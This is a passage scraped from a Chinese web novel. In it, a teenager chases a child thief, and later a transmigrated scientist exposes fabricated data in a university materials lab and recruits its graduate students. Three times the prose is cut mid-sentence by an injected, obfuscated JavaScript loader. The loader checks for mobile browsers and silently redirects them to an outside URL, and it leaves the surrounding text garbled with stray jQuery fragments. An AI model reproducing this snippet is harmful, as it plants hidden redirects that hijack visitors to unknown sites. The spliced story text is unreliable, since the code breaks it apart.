于是,当楚辞舟远远地看见前面路□□警在拦车查酒驾时,就飞快地掉了个头,猫着腰,骑上人行道偷偷往回走。 谁能料到呢,就是这么寸,他才刚上人行道,骑出一段,就见前面的桥上开过来一辆摩托车。 小县城摩托车多,楚辞舟一开始并没有在意。 谁料,这辆摩托车上的两个黄毛,竟然是两个抢包贼。 眼看着前方大约二十米处,被抢了包的姑娘化身成跳脚的尖叫鸡,楚辞舟想也不想,果断刹住了小电驴。 他本身是逆行,姑娘和抢包贼都与他呈遭遇之态,楚辞舟停下来,显然就是要管闲事的意思。 那两个抢包贼远远地也看见了他。但也不知道是他们在这嚣张惯了,还是吃定了楚辞舟只身一人不敢出头,抢包的那俩黄毛不仅没有离开,甚至还站了起来,朝他挑衅地比了个中指。 这年楚辞舟刚十七岁,一八二的个头,身高腿长,穿着件干干净净的白衬衫,长腿一迈,头盔一摘,小电驴往边上一扔,正义使者降临一般,要审判地球。 那二人此时才觉有些后悔,可惜,已经来不及了。 摩托车遭遇一记重踢,飞出去好几米远。 楚辞舟快步上前,就要去抓这俩小贼。 到底是做贼心虚,俩小贼知道这回算是碰上了硬茬,顾不得身上的伤,将姑娘的包往反方向一扔,飞快地跨上摩托跑了。 楚辞舟只能返身捡包。 将小挎包还给泪眼汪汪的姑娘,并婉拒了姑娘的感谢后,楚辞舟打眼便看到被自己扔开的小电驴旁,蹲着一只极其瘦小的身影。 那是一个瘦小的孩子,穿着附近小学的校服,背着个脏兮兮的小书包,浑身上下都是泥水,像条偷骨头的流浪犬。楚辞舟愣了一秒,反应过来,一拍大腿:“不好!!!!!!” 他请客吃饭剩下的工资都放在座椅下面!整整七百块! “好小子!小小年纪就偷鸡摸狗的,长大了还得了?” 楚辞舟一怒之下,箭步上前,提起了小孩的后脖领。 “放开我!放开我!警察叔叔救命啊有人偷小孩了!” 对上他愤怒的视线,小孩儿瑟缩了一下,很快便反应过来,手舞足蹈地挣扎起来。 这熊孩子!张嘴就是瞎话! 楚辞舟伸出手,正准备替他那对熊爸妈管教管教他,谁知这小子突然脑袋一歪,两腿一伸,居然就这样晕了过去。 “哈?”不是,现在的小孩都这么脆皮的吗?他还没碰上呢!楚辞舟吓了一跳,把小孩放在地上,掐掐人中拍拍脸,“喂,小孩,你没事吧?” 熊孩子动也不动,紧闭着眼,一张裹满了泥水的小脸惨白惨白的,任楚辞舟怎么摇晃也不醒。 ……这小孩,到底都经历了些什么? 楚辞舟皱了皱眉,想到什么,站起来在怀里摸了摸。刚巧,兜里有几颗老板娘给抓的椰子糖。 不管怎样,先喂颗糖好了,万一是低血糖,真的会死人的。 不等楚辞舟把椰子糖难剥的糖纸完全剥开,就见那“晕过去”的熊孩子忽然翻身跳了起来。不等他有所反应,熊孩子已经一把抢了他手里的椰子糖塞进嘴里,背起书包,拔腿就跑。 “我去???”楚辞舟震惊了。 这什么家庭教出来的熊孩子啊?大晚上的不回家,跑出来偷东西,还讹人?让他知道这小子是哪个学校哪个班的他就死定了! “别跑!” 楚辞舟气得发疯,骑上小电驴就去追。 然而熊孩子跑得很精,专捡那种小电驴骑不进去的低矮小树林。 他个儿小,七钻八钻地眼看就要钻没了影儿,楚辞舟怒而弃车,也跟着钻进去,可他个儿高,一钻进去就被树杈刮破了手臂,不由气得骂娘:“臭小子,有本事别让我逮着你!” 不是错觉,熊孩子跌跌撞撞跑得更快了。 楚辞舟:“……” 楚辞舟也不知道自己那天究竟追了多远,只知道街景从街道变成公园,又从公园来到了河边…… 追到河边的时候,熊孩子脚一软,摔倒了。 他看起来像是有点放弃了,没再爬起来,脸朝下趴在地上,呼哧呼哧地喘着粗气。 “跑啊,怎么不跑了?!” 楚辞舟也累得要死,又憋了一肚子火,看到这小兔崽子趴在地上的背影就气不打一处来:“怎么的?这就跑不动啦?你不是很能耐吗?给你个机会,你爬起来继续跑啊!” “……” 熊孩子就和听不见似的瘫在地上,只管喘着粗气,像是连动一动手指的力气都没有了。 真是难为他,都这样了,他居然还背着自己那只脏兮兮的小书包,没有在半路上扔下来。 楚辞舟率先把气儿喘匀了,走上前去,踢了踢这小子的肚子,把他从背面翻过来。 这么一看,这小子其实长得还挺好看的,虽然脏了点,但五官比例很好,尤其一双眼睛,黑黝黝的,一看就是个聪明孩子。 不过楚辞舟可不会因为他长得好看就心软,伸手道:“钱。拿出来。” 熊孩子:“……” 熊孩子看着他,似乎是真的无计可施了,不情不愿地抬起手,摊开掌心。 里面躺着的正是他那命途多舛的七百块钱。 楚辞舟心中一喜,一把将钞票抢了回来,捏在手里,数了又数。 熊孩子沉默一阵。 忽然开口道:“大,大哥,你至于吗?一共,也就这,七百块钱,你,你至于跟我,这么,玩命? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589331|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 楚辞舟骂他:“你懂个屁!” 熊孩子仰头看他。 目光中蕴含着些许鄙夷和不可思议。 楚辞舟怎么可能看不懂这目光的含义,他可不惯着他,理直气壮地讽刺道:“干嘛,小少爷?嫌少啊?七百块钱不是钱?这可是你大哥我一个月的卖身费!知道吗?” 熊孩子听他叫自己小少爷,哼了一声,反唇相讥:“一个月才,才七百块?你,你也太便宜了吧?要是我爸妈,没破产,我,我一个月的零花钱就可以买你很多次。” 他妈的!谁爸妈还不是呢! 一提这个楚辞舟就来气:“你可闭嘴吧你!” 两个人此时都跑不动了,连走的力气都没有。 索性就这样和谐地在河滩上坐了一会儿。 熊孩子不知何时已经坐了起来。 楚辞舟正暗自防着他又使坏,却见这小子自己抹了把脸,慢吞吞地脱了鞋子,又脱了袜子,站起来,摇摇晃晃朝河边走去。 “喂!”楚辞舟被他弄得一头雾水,喊,“你干什么去?” 熊孩子扔了书包,头也不回地朝河里走。一边走一边带着哭腔道:“我、我要死在这里!我要让所有人都知道,你、你是个见死不救的杀人犯!” 楚辞舟:“??????” 这兔崽子! 楚辞舟被他气笑了,喊道:“喂,你是不是有病?我不给你偷,你就要去死?我跟你有关系吗?我连你名字都不知道,更不是你的直系血亲,对你没有任何救助义务,你现在就是真跳下去,淹死了,警察也顶多只是对我进行批评教育,你怎么都讹不到我头上!懂吗?” 熊孩子:“………………” 虽然但是,的确是这个理。 趁着这一恍神的工夫,楚辞舟一个箭步就把这糟心的臭小子从水里扛了回来,恨不得一巴掌扇在他的小屁股上。 这到底谁家的祸害啊?怎么能这么糟心呢! “死小孩,你疯了?偷不到钱你就要去死啊?你癫的?” 楚辞舟气也气死了。不是自家孩子,这种想打又不能打的感觉真是!用抓心挠肝来形容也不为过。 熊孩子回过神来,居然挣扎着在他肩膀上哭了起来。扯着嗓子喊:“我、我就是要去死!我活不下去了!呜呜呜你这个人!你、你那么好心,你都可以救那个姑娘,你、你为什么就不能救救我啊?” 楚辞舟:“……” 楚辞舟被他的歪理震住了,一时间有些目瞪口呆。 不是,这小子,你要不要听听你自己在说什么啊? 楚辞舟怼他道:“所以让你把钱偷了就是救你了是吧?可我为什么要救你啊?我也很需要这笔钱好吗?” 还是初夏,夜里温差挺大,一阵河风吹来,刚才还口口声声说着要去死的小屁孩这会儿好像知道冷了,乖乖地搭在他肩上,瑟瑟发抖地道:“因为、因为你是好人啊!” 楚辞舟:“………………” 楚辞舟一松手,给他扔在了河滩上。“我是好人没错,但好人就得活该被你讹上啊?你爸妈这七年是怎么教你的?教你讹人了吗?” “……” 那孩子被他问得怔住,半晌不说话了。 但他似乎也不打算死了,默默地回去捡起书包,默默地背在了背上,又自己一点一点地穿上了小袜子,套上小鞋子。 无端闹了这么一出,楚辞舟本来已经被他气得牙痒痒,不打他一顿都是好的,看他这样,又觉得有点凄惨,拿出手机,问道:“喂,你叫什么?住哪?我帮你报警要不要?” 那小孩眼皮一挑,哼道:“报报报,你想报你就报。反正你们这些人,一个个都只想赶紧把我这个烫手山芋扔出去,警察也是,我叔也是。……你也是。” “叔?”楚辞舟意外捕捉到一个关键词,“你监护人不是你爸妈啊?那为什么你不回你叔家?你也偷他东西了?” 熊孩子:“……” 熊孩子憋了半天,脸都憋红了,看起来着实气得不轻:“我没有!你、你这个人……你少在这里血口喷人了!” 呃,该说不说,这熊孩子,家教还挺好的,骂人都没词。 熊孩子骂完,气鼓鼓地站起来,背对着楚辞舟。 楚辞舟以为他要走。 谁知道他不知怎么,忽然又转过来,闷声道:“你要是也有个坏事做尽的爸妈,你叔还会管你吗?” 呃,竟然很有道理的样子。 楚辞舟被他噎住了。 要说“坏事做尽”,自己那对爸妈可不就是吗?搞得他现在像条丧家之犬一样,连自己的家都不敢回。 好吧。 楚辞舟双手一摊。 “不报警就不报警,那你想怎么样嘛?” 5. 第 5 章 车停在华工大材料科学与工程学院楼下的时候,已经有个瘦高个戴眼镜、满身书卷气的年轻人在那里等着了。 “楚先生是吗?”年轻人走上前来,扫一眼二人,淡淡道,“我导师在办公室,跟我来。” 他说完转身就走,一句多余的话都没有,甚至连客套一下都不屑于。 楚辞舟原本还在感慨怎么现在的大学生都这么务实的吗,直到见到他口中的“导师”,这才算是弄明白了原因。 孙老—— 老爸严选,华工大材料科学院里公认最负盛名的一位大拿,看外貌,居然是个其貌不扬、尖嘴猴腮的半大小老头。 这个小老头,看起来脾气有些古怪的样子,戴着个老花镜坐在一堆资料中间。听见敲门,头也不抬地:“进。” 楚辞舟上辈子也是搞科研工作的,也曾经代表国家出去交流过,见过的学者可以说不到万儿也有八千。人这种东西,本性里就是酷爱总结的,见得多了,难免就会在心里把他们分门别类。 比如学者,楚辞舟就给他们分成了八大流派,这位孙老,就是其中非常典型的一个流派—— 学术派。 学术派是一个很有趣的类型,虽然时常因不近人情而遭人诟病,但他们的世界充满了好奇心和创造力。 楚辞舟很喜欢这类型的人,和小朋友一样,无论你是什么身份,身价几何,他若不感兴趣,照样置若罔闻;可若你能展现出令他们感兴趣的特质,那你就有机会认识到另外一个他们。 对于到访的这两个年轻人,小老头根本就不在意,只管自顾自地在纸上沙沙写着什么,当他们不存在似的。 他四周的材料堆得像山,不少都这么堂而皇之地摊开在那里,像是丝毫不害怕被旁人偷窥了去。 楚辞舟简单转了一圈,便看出老头目前正在兴致勃勃整理的,正是一个关于新材料的最新实验数据。 数据很详细,各项细节在材料中反映得也足够翔实。楚辞舟看了一会儿,忽然开口道:“孙老。” 他说话时就站在老头后面,无声无息,鬼魅一般。老头冷不丁被他吓得一蹦,差点心脏病都犯了,西子捧心般恼怒地瞪着他。好一会儿,他像是这才想起办公室里有客人,有些恼羞成怒地冲楚辞舟挥了挥手:“你这个人!行了,那边等去,很快就好。” 说完,飞快地转过头,又开始了笔耕不辍。 楚辞舟却没按他的要求离开。 “孙老。” 孙老:“………………” 这个人真的好烦啊,看不见自己在忙吗!这回小老头倔脾气上来,索性装起了耳背,笔倒是动得越发快了。 楚辞舟数次不中,只好直言道:“孙老,您这数据,有问题啊。” 刚才还一脸“别烦我我听不见”的老头,听见“数据”两个字,立刻“嗯?”了一声,停下了笔。 “你说什么?!”他开口,声如洪钟。 愤怒之情堪比路边眼看着就要大杀四方却被陌生人勒令叫停的下象棋老头。 楚辞舟没和他开玩笑,拾起一支铅笔,在初始的两处数据和最终的统计曲线上各画了一个圈。 “喏,您看。” 小老头很烦躁,腮帮子鼓得老高,看起来还在为自己手头的工作被人打断而不快。 楚辞舟耐心给他解释:“您看,这两处的压力和纯度,按照上面的实验数据来看,是不应该为这个值的…冒昧问一句,这数据是您亲自记录的吗?” 小老头:“……” 这两个年轻人看着眼生,小老头本来并没将其放在眼里,也不信他倆能看懂什么数据,毕竟这些资料专业性很强,就算摊开了给你看,外行也不一定能看得懂。可这会儿听楚辞舟说得有鼻子有眼,小老头还是有些将信将疑了。 他取下眼镜,皱着眉头盯着楚辞舟的脸看了一会儿,开口道:“你是?” 楚辞舟笑笑,礼貌道:“孙老您好,家父楚怀瑾,刚才给您来过电话的。” 老头“哦!”了一声,点头:“原来是怀瑾家的,怪不得。不过,你能看懂这是什么?” 这话说的!对于楚辞舟这样级别的科学家来说,连这都看不懂的话,那他索性也别在圈里混了。 不过,人家有此一问倒也正常,毕竟原主是做冶金的,虽然金属材料也是材料,但毕竟隔行如隔山,小老头研究的此种新材料和单纯的金属材料之间已经隔了好几座大山了。 楚辞舟笑道:“这有什么看不懂的?不就是络合物储氢材料的实验数据嘛。” 他说得轻描淡写,老头却是忍不住有些震惊。络合物储氢材料是由他牵头,刚开始投入研发的新项目,实验数据至今还都处于保密状态,并未对外公开,楚家这小子,怎么会懂得这些? 但他还是把震惊先放在了心里,镇定道:“楚家小子,你知道储氢材料?” 楚辞舟笑道:“当然知道,孙老,毕竟储氢材料的概念,早就已经在国际上被多次提起过了。只是由于目前的转化率普遍不高,所以应用较少。” 好小子,这是真懂啊。 就冲他这股子侃侃而谈的自信,孙老心里已经信了一半,只是从情感上还是不愿意相信自己团队的数据竟然会有问题:“你有什么证据证明这两项数据出了偏差?” “这……”这可真是个好问题! 现在手边连个实验器材都没有,楚辞舟能用什么证明?项上人头吗? 好在学术派一贯的严谨还是让小老头冷静了下来,没有拉着他继续无理取闹。 “算了,宁可信其有。”他像是自言自语地嘀咕了一句,便拿起桌上的电话,打给了一个号码,“小卢,来一下办公室。” 电话挂断不到十分钟,刚才给他们带路的那个傲慢的年轻人就出现在了门口。他瞥了一眼办公室里的两个人,仅仅只是短短地疑惑了一秒,很快便目不斜视地走进来:“什么事?导师。” 小老头把数据摊在桌上,简单交代了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589332|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚辞舟刚才指出的问题:“你现在去实验室,按照这几个条件重新做一遍,数据记下来汇报给我。” “好。” 年轻人得了吩咐,拿着单据走了出去。小老头合上钢笔,哼了一声,对楚辞舟道:“我倒要看看你这小子说的是真是假。” 楚辞舟笑而不语。 他既然敢说这话,自然就是有着十足的把握。 要知道,现实世界的络合物储氢材可正是楚辞舟的团队成果。虽然这是书里的世界,研究这个课题的人也换了一批,但实验数据总归是相通的,楚辞舟作为这个项目的总设计师,连这点把握都没有的话,索性也别在圈里混了。 一个多小时后,拿着实验结果重新出现的卢良栋脸色阴沉得像是快要滴出水。 原本还对突然出现的两个陌生人提出的疑议抱有了几分侥幸心理的孙老心中一沉,忍不住厉声道:“怎么回事?怎么去这么久?” 卢良栋的脸色阴晴不定,拿着那几张薄纸的手简直像是有千斤之重。几番欲言又止后,他索性将结果直接递给了孙老:“老师,您还是自己看吧!” 孙老闻言,心中不祥的预感越发强烈,迫不及待地抢过实验数据,一目十行地核查起来—— 其实不需要他核查,卢良栋已经将自己发现的所有问题用笔圈了出来,看着单据上一个个红圈,孙老的脸色先是震惊,继而转化为质疑,最后变成愤怒——彻底的愤怒! “怎会如此?!!!”他气得吹胡子瞪眼,将数据拍在桌上,“太离谱了,简直太离谱了!这种错误到底是怎么犯的,三十多年了,我的实验室还是第一次出现这种问题!难道你们出数据后都不做复核实验的吗?” 他这般疾言厉色,弄得卢良栋一贯高傲的脸上也是一阵青红交杂,额上逐渐凝出的豆大汗珠,暴露出他此刻内心中的惶恐和不知所措。 师徒二人脸色铁青,各自都是一番乱七八糟的五颜六色。楚辞舟好奇上前,朝那单据上悄无声地探头一看,不禁也是眉心一跳,咦了一声。 难怪卢良栋这一去就是一个多小时,那单据上每隔一段就会出现的突兀红圈数量,实在是令人发指! 原来,拿到复核要求后,原本并不以为意的卢良栋发现,这不知是谁用铅笔圈出的那两个项目竟然是真的有问题。他不敢相信地又进行了多次实验,结果仍显示数据出错。于是,他带着满心的不可思议,又将以往的另外几项同类数据进行了复核,结果真的发现也存在着数据不实的严重问题! 数据不实,这在学界可以说是大忌了。严重一点的话,审核委员会是可以对负责团队进行责任追究的。 出了这种纰漏,卢良栋饶是平日里为人再高傲、再淡泊,也根本不敢有丝毫耽搁,赶紧拿着复核出来的数据匆匆来到办公室。 得知噩耗,孙老震怒,一向严谨的老脸上显示出了难得的怒气。他拎起话筒,给自己名下的每一个研究生都打去了电话:“来办公室开会!现在!立刻!马上!” 6. 第 6 章 马上就要毕业的马师姐赶到办公室后忍不住哭了起来:“我今年就毕业了,又赶上写论文,每天熬到两三点不说,白天还得强撑着爬起来做实验……我熬得这么辛苦,头都快熬秃了,现在居然还碰上这种事情!到底是谁这么缺德啊?是我们得罪了什么人吗?还是说是竞争对手搞的鬼?” 马师姐用痛恨的声音哭诉着这些的时候,在场所有人都沉默了。 孙老坐在上首,小而矍铄的精干双眼严厉地扫视着所有人。 这间办公室里一共七个人,除了孙老、楚辞舟和周昊渊三人外,还有被气哭的马师姐,以及坐在她身边温声细语劝慰的小师妹;远一些的沙发上,一个穿着时髦的男生仿若未闻地刷着手机,除此之外,便只剩下刚才带路的那个年轻人。 年轻人神情阴沉地靠着墙,不知在想些什么。 “到底是谁负责的数据出了岔子?自己交代的话,我可以考虑从轻处理。一旦被我查出来……” 孙老开口道。 话音还未落下,整个办公室已经落针可闻。 连马师姐的啜泣声都停止了。 谁都知道,“查出来”的结果是什么。作为一名科研工作者,数据失实可以说是一个致命的过错。如果材料提交上去,被学术委员会判定为学术造假,轻则撤销学位,重则剥夺未来申请学位的资格,也就是说,这件事情足以让在场的每个人永世不得翻身! “行,没人承认是吧?”孙老恼怒,“那我们就找系主任和校长来查看实验室的记录本和监控视频吧。” 说完,拿起桌上的电话。 “等等,老师!”有人开口了。 一时间,所有人的目光都落在了这人身上。 是刚才带路的那个年轻人。 面对所有人投来的目光,年轻人没有丝毫怯场,依旧是那副面无表情的倨傲态度,一字字道:“我想,我可能知道是谁。” 孙老放下电话,心里叹了口气,嘀咕一句这小子这性格也不知道随谁,反正肯定不是随自己这个老师。 他鼓励道:“卢良栋,你要是知道什么就说出来,我绝不姑息。” 但卢良栋显然不需要他鼓励,直言不讳道:“老师,我建议先不要请系主任。因为我怀疑的这个人,我不清楚他和系主任是什么关系,或者说……有没有关系。” 众人:“……” 话说到这份儿上,就连坐在后排的楚辞舟都忍不住吸了口凉气—— 不妙,好大的瓜!!! “卢良栋你什么意思?” 卢良栋话音才落,一直瘫坐在沙发里、事不关己状的时髦哥却突然跳了起来。 卢良栋扶了扶眼镜,并没有要拂开时髦哥揪住自己衣领的手的意思,嘴倒是和淬了毒的刀子一样:“张旭博,你觉得我什么意思?我和你一个寝室,每天早上我去实验室的时候你在寝室玩游戏,晚上我从实验室回来的时候,你还在寝室玩游戏,”卢良栋面不改色道,“我合理怀疑你根本没去做实验。不服气的话,我们现在就去查监控。” 被称作张旭博的时髦哥脸色难看,忽然笑了一声,压低声音在卢良栋耳边说了句什么。 看起来天不怕地不怕的卢良栋此刻难得地变了脸色。 他咬了咬牙,一张白面书生皮染上红晕,看起来似是极为恼怒。正要开口,一旁的马师姐却冷不丁站了起来,呵斥道:“张旭博,少来你那套,你也就能欺负欺负小卢这种家里没实力没背景的新人!老师,我作证!我在实验室也从没见过张旭博!除非他和我们时差相反,都是在深夜去锁了门的实验楼做实验!” 嚯,女人。饶是楚辞舟,也不得不从心里佩服起来。 明明刚才还哭得一把鼻涕一把泪的,柔弱得不行,可到了该仗义执言的时候,却又能大义凛然地站出来保护同伴。 可惜,时髦哥张旭博的嚣张气焰丝毫未减。他松开了卢良栋,有恃无恐地冷笑道:“是,我就是来混学位的。那些数据都是我懒得去实验室,在网上找人用模拟器代做的,怎么了?我知道你们都瞧不起我,尤其是你,马琳!不错,你家是有背景,可那又怎样?他们都在外地!看在同门一场的份上,我好心奉劝一句,你一个女的,孤身在外,说话做事别这么不动脑子。否则指不定哪天就出事了呢?你说是吧?” “你!”马师姐气得手抖。 这个张旭博,态度如此嚣张,简直就是有恃无恐,连楚辞舟这个局外人看得都忍不住牙痒。 正在心里琢磨着要不要出这个头的时候,却听“啪”的一声,原来是从刚才开始就一直保持着观望状态的孙老蓦地拍了桌子。 骂道:“他妈的,姓张的,你当我孙弘毅是死了吗?就你这态度,你还读什么研?简直丢我们华工大的脸!像你这种学生,别说你爹只是区区一个系主任,就是他妈的你爹是天王老子,孙某人今天也不要了!” 看见小老头一个电话就叫来了另外一个胖老头,并且一言不合就在办公室里与其大打出手的时候,楚辞舟震惊之余又多了些许宽慰。 还好,小老头人品端正。 有时候做学术还真就需要这一点点的“轴”,如果今天遇上的是那种畏惧权势、息事宁人的圆滑派,教出来的学生,他是不敢要的。 这件事情的后续当然就是闹大了,校长那边自不必说,就连华城市纪检委都惊动了。 听说导致此次恶劣事件的主要原因,居然不是来自于敌对势力的陷害,也不是出于任何人的主观恶意,仅仅只是因为一个官二代的公子哥儿为了呆在寝室里玩游戏,糊弄了他负责的那部分数据,导致整个数据链条出现问题,还差点危害到后续一事后,上头怒了,明确表态学术清朗需要以学正风,要大兴务实之风、弘扬清廉之风、养成俭朴之风,决不能姑息养奸,也决不能放过任何一个害群之马。 于是,那个涉嫌多次数据造假,还对同伴进行言语威胁,性质极其恶劣的公子哥儿张旭博被华工大扫地出门,连带着他那个贵为系主任的胖老爹也被纪检委霸气地撸了帽子,开除出教师队伍。 除此之外,因为这件事情,也导致了孙老的研究生团队被调查,别的不说,大师姐的延毕已经是板上钉钉的事情,至于孙老,也因为监督不力而受到牵连。 不过,经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589333|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一番折腾,储氢材料的数据漏洞被补上了,也算是及时止损。 至于楚辞舟,更是意外之喜——仅这一趟就轻松收获了三枚可用之材。 “小马性子是急了些,但品性正直堪用。小卢性子冷,为人处事上欠缺些,但个人能力强。至于小陶,虽然各方面都没什么突出的,但胜在足够踏实,又肯努力——我这几个学生都很不错,你算是捡了个大便宜。”孙老不高兴地哼哼。 楚辞舟喜形于色,得寸进尺:“感谢孙老!今后若有合适的研究生,欢迎继续打包给我。对了……不知您是否还认识别的教授?有的话能不能劳烦给我搭个桥牵个线什么的,好歹我也帮了您这么大一忙不是。” 这话说的,一股子挟恩图报的气息,一直在旁边当背景板的周昊渊都忍不住瞥了他一眼。 果然,孙老吹胡子瞪眼道:“好小子,我这三个宝贝徒弟还不够你使唤的?实在不行把我老头子也打包拿去好了。” 楚辞舟抚掌道:“那可太好了,孙老要来,我当然扫榻相迎!就怕孙老您大学院呆惯了,瞧不上我这新支的小摊子!” 说完又死缠烂打道:“说真的,到底有没有啊?您知道的,我们楚氏过去是搞生产的,如今要转向做科研,最缺的无非还是人才。您老人家要是能帮上忙却藏着掖着,那可就真不仗义了。” 嘿,瞧这小子!还道德绑架上了! 严肃正经如孙老者,也有些绷不下去了,怒极反笑道:“你小子,搁老头子这儿耍无赖呢!上下两片嘴皮一碰,都快给我老头子定罪了!行行行,算老头子怕了你,这就给你物色人选,行了吧?” 孙老说完,戴上老花镜,拿起自己那古老的大屏手机,呲牙咧嘴地翻了翻,终于翻出一个名单,摆在一旁,用桌上的座机挨个拨号过去。 “喂,老王?没啥事,就问问你那几个好徒弟,最近不是快毕业了吗……” “喂,老谢?我当然没死!你才死了!哎呀,忙得很,出了点乱子,钓鱼的事下次再说……我问你,你带那几个研究生……” “喂,老李?……” 半小时后,就在楚辞舟怀疑照这么打下去半个学术圈都得被他收入囊中时,孙老终于撂下了被打得发烫的话筒,笑眯眯道:“行了,我都打过招呼了。你也听见了,老头子可是给你们楚氏做了好一番美化的。至于孩子们自己怎么想,愿不愿意去你那里,那可就是他们自己的事了。” “那是那是,”楚辞舟按捺住激动的心情,站起来与小老头握手,“孙老,有您老背书,我相信结果绝对不会太差。行了,太感谢了,我现在立马回去,吩咐底下的人事准备一下。” “哈哈,小子,这就准备磨刀霍霍了?”孙老笑呵呵地提醒他,“孩子们不少都是定了研究所的,去不去你那还两说呢。” 楚辞舟果断道:“嗐,孙老,这个您放心,新材料行业,楚氏势在必行。别的您也不用多说,就只管跟他们带一句话,设备经费方面,楚氏绝对不会吝啬。” 经费!设备!! 这话一出,就连几人中最为傲气的卢良栋,脸上也不禁露出了心动之色!!! 7. 第 7 章 在学院呆过的,多多少少都吃过些经费的苦。 尤其孙老这种从特殊年代过来,一辈子只知道讲求无私奉献、对专利和自己的权益保护却是一点儿意识也无的,虽然他的名气和实力大家都看在眼里,奈何就是手里没钱。 导师穷困潦倒,系领导又是那么个胡作非为的主儿,那么他手下这些研究生过的是什么日子,可想而知。 马师姐是第一个动心的。 虽然她之前也已经递交了研究所的申请,也通过了,但她现在已经大概率要延毕了,那边不可能把位置空着等她,更何况进研究所的话,今后做什么项目,跟什么组,一切就都得看研究所的安排,由不得她。 再加上材料行业和水利、计算机工程等等行业不一样,水利和计算机都是肉眼可见,稳定盈利的,而材料呢?如果一个项目三年五载都做不出成果,是真的会被整个项目裁掉的! 而且,最重要的是,这两个来要人的小哥哥,实在是有点帅啊! 因此,哪怕就只是看在颜值的份上,马师姐也早就已经一把子狠狠心动了。 虽然她现在还不清楚这两位是楚氏的什么人,但是一想到进去之后就能时不时地和这么帅的小哥哥打照面,马师姐还是忍不住要为自己的眼睛着想一把的。 马琳理了理额发,换上她自认为这辈子最为得体的笑容:“这位帅哥,你要挖我们,光和老师说可不行啊,是不是也该问问我们自己的想法?可以让我们到厂里去实地看看,了解了解情况吗?” 楚辞舟笑道:“好啊!非常欢迎!不过现在时间有点晚了,我们的厂子在郊外,过去应该也快下班了,不如明天一早吧,我派车过来接你们。对了,孙老,您不介意今晚我请大家吃饭吧?” 经过这么一件事情,孙老现在对这个进退有据的年轻人很是喜欢,几乎有求必应:“行啊,那我们今天可就要吃大户了。” 就这样,一行人说说笑笑地出了门。 当然,也没吃什么太夸张的,毕竟孙老是个一颗红心的老革命,你想请他吃大餐,人家还不愿意呢。是以一行人就在学校门口的串串店里随意地吃了一些,连串带饮料啤酒,七个人加一起也没超过六百块钱。 吃到八点半,已经是宾主尽欢。 孙老他们回学校去,而楚辞舟他们则是开车回家。 因为要开车,所以楚辞舟并没有喝酒。周昊渊倒是喝了一些口感略偏清淡的菠啤,一贯清冷的眸中都蕴了些浅浅的水汽。 橙色的路灯次第后退,车厢内明明暗暗,有如波光起伏。 周昊渊靠在椅背上沉默了一路,忽然冷不丁开口:“楚总今天,变化很大。” 楚辞舟:“……” 当然大了!都不是同一个人!穿过来之前他甚至连原主和这位BOSS居然是这种能够坐在同一辆车里聊天的关系都想象不到! 他之前甚至还以为这俩人根本不认识呢! 可惜这些他只能在心里吐槽吐槽,说出来的话,估计人家得去医院给他挂精神科的号了。 楚辞舟装傻道:“啊?大吗?不知周总指的哪方面?” “周……总……?” 不知道为什么,听到这个称呼,周昊渊那双因为湿润而显得略微回温的黑眸中仿佛又有寒霜渐凝起来。 楚辞舟:“……” 不会吧,难道他又双叒惹到他了吗?这已经是反派短时间内第三次因为同一件事情被他惹到了吧? 他难道……很在意这些吗? 两个人相处,如果有一方总是单方面地压抑情绪,那么这段关系迟早要出问题。 楚辞舟直觉不能再这样不清不楚下去了,不如就由自己率先开一局坦白局。 “周总,你先别急着生气。”楚辞舟道,“我想之前你应该也已经察觉到了,我这个人,就是时不时会出现一些类似‘失忆’的情况,对吧?” 种种迹象都在表明,男二在旁人眼里,和在剧情中的表现,其实是不一样的。 首先是艾达,她说过“楚辞舟”遇上女主的事情就像是变了个人,工作也不理了,有时候甚至连喊都喊不答应,眼睛里只有女主,只想围在女主身边打转; 其次是爸妈,他们说他时常忘事,甚至连非常重要的约见和一起研究的新理论都忘记了,这就已经不是简单的“记性不好”的问题,而是男二的记忆分明已经出现了断层。 再结合楚辞舟作为读者所知道的信息,他可以大胆地猜测到,这很有可能是因为男二作为剧情里重要的配角人物,正在被剧情不断地“纠偏”。 每当男二产生一点自己的想法,剧情就会适时出现并且对其进行“纠偏”,以确保整体的故事线可以按照原计划进行,这也是男二为什么时常“失忆”的原因。 而既然反派会在爸妈面前替他遮掩,这就说明反派其实也已经发现了有这样一个“未知力量”的存在。只是,对方不是读者,没有他这样的剧透更弄不明白原因,只能自己和自己生闷气。 楚辞舟试探道:“对不起,我知道你因为这件事情早就已经忍不下去了,对吧?” 周昊渊黑色的瞳仁在黑暗中闪了闪,似乎有一团晦暗不明的乌云从中滚过。 